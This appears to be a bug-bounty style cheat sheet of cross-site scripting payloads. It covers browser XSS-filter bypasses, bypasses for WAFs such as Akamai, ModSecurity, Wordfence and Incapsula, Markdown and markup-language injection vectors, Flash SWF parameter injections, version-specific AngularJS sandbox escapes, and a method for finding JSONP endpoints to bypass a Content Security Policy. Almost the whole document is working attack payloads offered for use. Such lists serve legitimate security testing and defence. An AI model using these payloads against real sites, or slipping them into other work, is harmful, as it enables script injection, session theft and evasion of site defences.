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XSS

Chrome XSS-Auditor Bypass by @vivekchsm

<svg><animate xlink:href=#x attributeName=href values=&#106;avascript:alert(1) /><a id=x><rect width=100 height=100 /></a>

Chrome < v60 beta XSS-Auditor Bypass

<script src="data:,alert(1)%250A-->

Other Chrome XSS-Auditor Bypasses

<script>alert(1)</script
<script>alert(1)%0d%0a-->%09</script
<x>%00%00%00%00%00%00%00<script>alert(1)</script>

Safari XSS Vector by @mramydnei

<script>location.href;'javascript:alert%281%29'</script>

XSS Polyglot by Ahmed Elsobky

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */ )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/

Kona WAF (Akamai) Bypass

\');confirm(1);//

ModSecurity WAF Bypass Note: This kind of depends on what security level the application is set to. See: https://modsecurity.org/rules.html

<img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)>

Wordfence XSS Bypasses

<meter onmouseover="alert(1)"
'">><div><meter onmouseover="alert(1)"</div>"
>><marquee loop=1 width=0 onfinish=alert(1)>

Incapsula WAF Bypasses by @i_bo0om

<iframe/;>
<img/src=q >

jQuery < 3.0.0 XSS by Egor Homakov

$.get('http://sakurity.com/jqueryxss')

In order to really exploit this jQuery XSS you will need to fulfil one of the following requirements:

  1. Find any cross domain requests to untrusted domains which may inadvertently execute script.
  2. Find any requests to trusted API endpoints where script can be injected into data sources.

URL verification bypasses (works without &#x09; too)

javas&#x09;cript://www.google.com/%0Aalert(1)

Markdown XSS

[a](javascript:confirm(1))
[a](javascript://www.google.com%0Aprompt(1))
[a](javascript://%0d%0aconfirm(1))
[a](javascript://%0d%0aconfirm(1);com)
[a](javascript:window.>)
[a]: (javascript:prompt(1))
[a]:(�javascript:alert(1))           //Add SOH Character

Flash SWF XSS

  • ZeroClipboard: ZeroClipboard.swf?id=\"))}catch(e){confirm(/XSS./.source);}//&width=500&height=500&.swf

  • plUpload Player: plupload.flash.swf?%#target%g=alert&uid%g=XSS&

  • plUpload MoxiePlayer: Moxie.swf?target%g=confirm&uid%g=XSS (also works with Moxie.cdn.swf and other variants)

  • FlashMediaElement: flashmediaelement.swf?jsinitfunctio%gn=alert1

  • videoJS: video-js.swf?readyFunction=confirm and video-js.swf?readyFunction=alert%28document.domain%2b'%20XSS'%29

  • YUI "io.swf": io.swf?yid=\"));}catch(e){alert(document.domain);}//

  • YUI "uploader.swf": uploader.swf?allowedDomain=\%22}%29%29%29}catch%28e%29{alert%28document.domain%29;}//<

  • Open Flash Chart: open-flash-chart.swf?get-data=(function(){alert(1)})()

  • AutoDemo: control.swf?>

  • Adobe FLV Progressive: /main.swf?baseurl=asfunction:getURL,javascript:alert(1)// and /FLVPlayer_Progressive.swf?skinName=asfunction:getURL,javascript:alert(1)//

  • Banner.swf (generic): banner.swf?clickTAG=javascript:alert(document.domain);//

  • JWPlayer (legacy): player.swf?playerready=alert(document.domain) and /player.swf?tracecall=alert(document.domain)

  • SWFUpload 2.2.0.1: swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!confirm(1);//

  • Uploadify (legacy): uploadify.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;confirm(%27XSS%27)}}//&.swf

  • FlowPlayer 3.2.7: flowplayer-3.2.7.swf?config={"clip":{"url":"http://edge.flowplayer.org/bauhaus.mp4","linkUrl":"JavaScriPt:confirm(document.domain)"}}&.swf

Note: Useful reference on constructing Flash-based XSS payloads available at MWR Labs.

Lightweight Markup Languages

RubyDoc (.rdoc)

XSS[JavaScript:alert(1)]

Textile (.textile)

"Test link":javascript:alert(1)

reStructuredText (.rst)

`Test link`__.

__ javascript:alert(document.domain)  

Unicode characters

†‡•<img src=a 'test')>…‰€

AngularJS Template Injection based XSS

For manual verification on a live target, use angular.version in your browser console

1.0.1 - 1.1.5 by Mario Heiderich (Cure53)

{{constructor.constructor('alert(1)')()}}

1.2.0 - 1.2.1 by Jan Horn (Google)

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

1.2.2 - 1.2.5 by Gareth Heyes (PortSwigger)

{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}

1.2.6 - 1.2.18 by Jan Horn (Google)

{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}

1.2.19 - 1.2.23 by Mathias Karlsson

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

1.2.24 - 1.2.29 by Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}

1.3.0 by Gábor Molnár (Google)

{{!ready && (ready = true) && (
      !call
      ? $$watchers[0].get(toString.constructor.prototype)
      : (a = apply) &&
        (apply = constructor) &&
        (valueOf = call) &&
        (''+''.toString(
          'F = Function.prototype;' +
          'F.apply = F.a;' +
          'delete F.a;' +
          'delete F.valueOf;' +
          'alert(1);'
        ))
    );}}

1.3.1 - 1.3.2 by Gareth Heyes (PortSwigger)

{{
    {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
    'a'.constructor.prototype.charAt=''.valueOf; 
    $eval('x=alert(1)//'); 
}}

1.3.3 - 1.3.18 by Gareth Heyes (PortSwigger)

{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; 

  'a'.constructor.prototype.charAt=[].join;
  $eval('x=alert(1)//');  }}

1.3.19 by Gareth Heyes (PortSwigger)

{{
    'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join; 
    $eval('x=alert(1)//'); 
}}

1.3.20 by Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

1.4.0 - 1.4.9 by Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

1.5.0 - 1.5.8 by Ian Hickey

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

1.5.9 - 1.5.11 by Jan Horn (Google)

{{
    c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
    c.$apply=$apply;c.$eval=b;op=$root.$$phase;
    $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
    C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
    B=C(b,c,b);$evalAsync("
    astNode=pop();astNode.type='UnaryExpression';
    astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
    astNode.argument={type:'Identifier',name:'foo'};
    ");
    m1=B($$asyncQueue.pop().expression,null,$root);
    m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
    $eval('a(b.c)');[].push.apply=a;
}}

1.6.0+ (no Expression Sandbox) by Mario Heiderich (Cure53)

{{constructor.constructor('alert(1)')()}}

Content Security Policy (CSP) bypass via JSONP endpoints

Grab the target's CSP:

curl -I http://example.com | grep 'Content-Security-Policy'

Either paste the CSP into https://csp-evaluator.withgoogle.com/ or just submit the target's address into the "Content Security Policy" field. The CSP Evaluator will notify you if one of the whitelisted domains has JSONP endpoints.

image

Now we can use a Google dork to find some JSONP endpoints on the domains listed above.

site:example.com inurl:callback